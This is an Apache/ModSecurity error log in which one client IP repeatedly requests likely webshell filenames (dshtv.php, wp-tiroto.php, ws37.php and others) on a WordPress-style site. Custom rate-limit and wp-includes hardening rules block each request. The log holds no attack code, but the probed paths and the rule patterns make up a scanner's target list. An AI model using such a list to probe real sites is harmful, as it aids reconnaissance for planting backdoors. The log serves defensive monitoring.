[Sun Apr 26 09:24:00.252722 2026] [:error] [pid 16515:tid 16536] [client 20.203.160.110:19561] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dshtv.php"] [unique_id "ae1pMFtDrUmgHSvpuLzfwwAAAlI"]
[Sun Apr 26 09:24:04.327685 2026] [:error] [pid 22573:tid 22620] [client 20.203.160.110:24504] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dshtv.php"] [unique_id "ae1pNHB3EmQlD4yKUt9HUwAAAY0"]
[Sun Apr 26 09:24:06.985895 2026] [:error] [pid 16574:tid 16619] [client 20.203.160.110:35838] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sym403.php"] [unique_id "ae1pNn5MsX8wRQr99nYGqAAAA0w"]
[Sun Apr 26 09:24:08.857416 2026] [:error] [pid 22572:tid 22591] [client 20.203.160.110:2286] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sym403.php"] [unique_id "ae1pONXOViWCFU-pZzCSTAAAAU0"]
[Sun Apr 26 09:24:12.908849 2026] [:error] [pid 8390:tid 8459] [client 20.203.160.110:29808] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sym403.php"] [unique_id "ae1pPIGPtFK_i9p5yxRcxgAAAIg"]
[Sun Apr 26 09:24:15.026986 2026] [:error] [pid 22573:tid 22606] [client 20.203.160.110:46857] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sym403.php"] [unique_id "ae1pP3B3EmQlD4yKUt9HeQAAAYA"]
[Sun Apr 26 09:24:35.327224 2026] [:error] [pid 13137:tid 13163] [client 20.203.160.110:29766] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "ae1pU90RB4J0o4h5neH_TgAAAhY"]
[Sun Apr 26 09:24:39.496041 2026] [:error] [pid 8491:tid 8516] [client 20.203.160.110:36152] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "ae1pVyq7I7e6CJooQM25wQAAANE"]
[Sun Apr 26 09:24:40.139940 2026] [:error] [pid 13137:tid 13165] [client 20.203.160.110:42944] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "ae1pWN0RB4J0o4h5neH_VQAAAhg"]
[Sun Apr 26 09:24:42.143355 2026] [:error] [pid 22573:tid 22627] [client 20.203.160.110:2109] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "ae1pWnB3EmQlD4yKUt9HkwAAAZQ"]
[Sun Apr 26 09:24:44.832513 2026] [:error] [pid 8491:tid 8519] [client 20.203.160.110:27085] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "ae1pXCq7I7e6CJooQM25xgAAANQ"]
[Sun Apr 26 09:24:45.650472 2026] [:error] [pid 13137:tid 13160] [client 20.203.160.110:55534] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "ae1pXd0RB4J0o4h5neH_XgAAAhM"]
[Sun Apr 26 09:24:47.644863 2026] [:error] [pid 8390:tid 8456] [client 20.203.160.110:11365] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "ae1pX4GPtFK_i9p5yxRc_QAAAIU"]
[Sun Apr 26 09:24:51.411397 2026] [:error] [pid 13197:tid 13240] [client 20.203.160.110:50276] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "ae1pY93kktFKdSxTrBufowAAAsk"]
[Sun Apr 26 09:24:54.028917 2026] [:error] [pid 16574:tid 16616] [client 20.203.160.110:53471] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1pZn5MsX8wRQr99nYGsQAAA0s"]
[Sun Apr 26 09:24:57.130325 2026] [:error] [pid 8390:tid 8469] [client 20.203.160.110:36145] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1paYGPtFK_i9p5yxRdBgAAAJI"]
[Sun Apr 26 09:25:00.134802 2026] [:error] [pid 8390:tid 8453] [client 20.203.160.110:29799] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1pbIGPtFK_i9p5yxRdDQAAAII"]
[Sun Apr 26 09:25:01.319332 2026] [:error] [pid 8491:tid 8517] [client 20.203.160.110:36141] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k7djufwez2.php"] [unique_id "ae1pbSq7I7e6CJooQM25zgAAANI"]
[Sun Apr 26 09:25:02.796966 2026] [:error] [pid 8491:tid 8499] [client 20.203.160.110:12510] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tiroto.php"] [unique_id "ae1pbiq7I7e6CJooQM250AAAAMA"]
[Sun Apr 26 09:25:03.942775 2026] [:error] [pid 16574:tid 16637] [client 20.203.160.110:50690] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tiroto.php"] [unique_id "ae1pb35MsX8wRQr99nYGtQAAA1U"]
[Sun Apr 26 09:25:04.757254 2026] [:error] [pid 22572:tid 22590] [client 20.203.160.110:19536] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tiroto.php"] [unique_id "ae1pcNXOViWCFU-pZzCSigAAAUw"]
[Sun Apr 26 09:25:06.031638 2026] [:error] [pid 22572:tid 22581] [client 20.203.160.110:55485] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tiroto.php"] [unique_id "ae1pctXOViWCFU-pZzCSjwAAAUM"]
[Sun Apr 26 09:25:08.898616 2026] [:error] [pid 8385:tid 8446] [client 20.203.160.110:53490] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "ae1pdDOy7_J84Wx3-oyCKwAAAFY"]
[Sun Apr 26 09:25:12.225683 2026] [:error] [pid 13197:tid 13246] [client 20.203.160.110:37089] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "ae1peN3kktFKdSxTrBufrwAAAs4"]
[Sun Apr 26 09:25:17.362007 2026] [:error] [pid 8383:tid 8402] [client 20.203.160.110:44164] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "ae1pfdFa2S3EsATMdWPZEgAAAAU"]
[Sun Apr 26 09:25:18.820946 2026] [:error] [pid 13197:tid 13236] [client 20.203.160.110:38878] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "ae1pft3kktFKdSxTrBufswAAAsU"]
[Sun Apr 26 09:25:21.269545 2026] [:error] [pid 8390:tid 8453] [client 20.203.160.110:38850] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "ae1pgYGPtFK_i9p5yxRdJAAAAII"]
[Sun Apr 26 09:25:23.977495 2026] [:error] [pid 8385:tid 8447] [client 20.203.160.110:13630] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "ae1pgzOy7_J84Wx3-oyCMgAAAFc"]
[Sun Apr 26 09:25:25.999302 2026] [:error] [pid 8385:tid 8441] [client 20.203.160.110:44190] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "ae1phTOy7_J84Wx3-oyCMwAAAFE"]
[Sun Apr 26 09:25:28.885352 2026] [:error] [pid 22573:tid 22611] [client 20.203.160.110:54185] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "ae1piHB3EmQlD4yKUt9HsAAAAYU"]
[Sun Apr 26 09:25:30.036297 2026] [:error] [pid 22573:tid 22615] [client 20.203.160.110:54342] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ae1pinB3EmQlD4yKUt9HswAAAYg"]
[Sun Apr 26 09:25:30.879319 2026] [:error] [pid 22572:tid 22581] [client 20.203.160.110:27186] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ae1pitXOViWCFU-pZzCSswAAAUM"]
[Sun Apr 26 09:25:40.811942 2026] [:error] [pid 22573:tid 22613] [client 20.203.160.110:2533] [client 20.203.160.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "ae1plHB3EmQlD4yKUt9HyQAAAYc"]
[Sun Apr 26 09:25:53.005521 2026] [:error] [pid 8390:tid 8467] [client 20.203.160.110:54178] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "ae1poYGPtFK_i9p5yxRdhwAAAJA"]
[Sun Apr 26 09:25:55.745432 2026] [:error] [pid 13137:tid 13140] [client 20.203.160.110:54387] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "ae1po90RB4J0o4h5neH_iAAAAgA"]
[Sun Apr 26 09:25:57.907252 2026] [:error] [pid 22572:tid 22599] [client 20.203.160.110:33818] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "ae1ppdXOViWCFU-pZzCSzwAAAVU"]
[Sun Apr 26 09:25:58.974230 2026] [:error] [pid 16574:tid 16621] [client 20.203.160.110:12131] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "ae1ppn5MsX8wRQr99nYGvAAAA00"]
[Sun Apr 26 09:26:01.651632 2026] [:error] [pid 22572:tid 22583] [client 20.203.160.110:54337] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bpxrn.php"] [unique_id "ae1pqdXOViWCFU-pZzCS0gAAAUU"]
[Sun Apr 26 09:26:07.044678 2026] [:error] [pid 13137:tid 13144] [client 20.203.160.110:34481] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bpxrn.php"] [unique_id "ae1pr90RB4J0o4h5neH_lwAAAgQ"]
[Sun Apr 26 09:26:08.483323 2026] [:error] [pid 8491:tid 8513] [client 20.203.160.110:54384] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bpxrn.php"] [unique_id "ae1psCq7I7e6CJooQM254wAAAM4"]
[Sun Apr 26 09:26:09.249019 2026] [:error] [pid 8491:tid 8511] [client 20.203.160.110:60269] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bpxrn.php"] [unique_id "ae1psSq7I7e6CJooQM255gAAAMw"]
[Sun Apr 26 09:26:11.767741 2026] [:error] [pid 22573:tid 22618] [client 20.203.160.110:14688] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae1ps3B3EmQlD4yKUt9H4gAAAYs"]
[Sun Apr 26 09:26:13.078972 2026] [:error] [pid 8491:tid 8499] [client 20.203.160.110:16330] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae1ptSq7I7e6CJooQM256AAAAMA"]
[Sun Apr 26 09:26:20.492460 2026] [:error] [pid 8390:tid 8469] [client 20.203.160.110:27154] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae1pvIGPtFK_i9p5yxRdmQAAAJI"]
[Sun Apr 26 09:26:22.929198 2026] [:error] [pid 22573:tid 22621] [client 20.203.160.110:16327] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "ae1pvnB3EmQlD4yKUt9H-AAAAY4"]
[Sun Apr 26 09:26:25.717628 2026] [:error] [pid 13197:tid 13252] [client 20.203.160.110:65057] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws37.php"] [unique_id "ae1pwd3kktFKdSxTrBufvgAAAtQ"]
[Sun Apr 26 09:26:28.689585 2026] [:error] [pid 8385:tid 8433] [client 20.203.160.110:60236] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws37.php"] [unique_id "ae1pxDOy7_J84Wx3-oyCVQAAAEk"]
[Sun Apr 26 09:26:30.906727 2026] [:error] [pid 22573:tid 22631] [client 20.203.160.110:12155] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws37.php"] [unique_id "ae1pxnB3EmQlD4yKUt9ICgAAAZg"]
[Sun Apr 26 09:26:32.168615 2026] [:error] [pid 8390:tid 8463] [client 20.203.160.110:60235] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws37.php"] [unique_id "ae1pyIGPtFK_i9p5yxRdqgAAAIw"]
[Sun Apr 26 09:26:34.162959 2026] [:error] [pid 22572:tid 22588] [client 20.203.160.110:19155] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ae1pytXOViWCFU-pZzCS6wAAAUo"]
[Sun Apr 26 09:26:37.465878 2026] [:error] [pid 8390:tid 8466] [client 20.203.160.110:33184] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ae1pzYGPtFK_i9p5yxRdvAAAAI8"]
[Sun Apr 26 09:26:39.137422 2026] [:error] [pid 22572:tid 22584] [client 20.203.160.110:60224] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ae1pz9XOViWCFU-pZzCS9gAAAUY"]
[Sun Apr 26 09:26:41.125639 2026] [:error] [pid 22572:tid 22584] [client 20.203.160.110:19990] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ae1p0dXOViWCFU-pZzCTAgAAAUY"]
[Sun Apr 26 09:26:42.849891 2026] [:error] [pid 8390:tid 8475] [client 20.203.160.110:34475] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bojcdooq.php"] [unique_id "ae1p0oGPtFK_i9p5yxRdwgAAAJg"]
[Sun Apr 26 09:26:44.158126 2026] [:error] [pid 22573:tid 22623] [client 20.203.160.110:33158] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bojcdooq.php"] [unique_id "ae1p1HB3EmQlD4yKUt9INQAAAZA"]
[Sun Apr 26 09:26:46.657215 2026] [:error] [pid 22573:tid 22612] [client 20.203.160.110:16382] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bojcdooq.php"] [unique_id "ae1p1nB3EmQlD4yKUt9IPQAAAYY"]
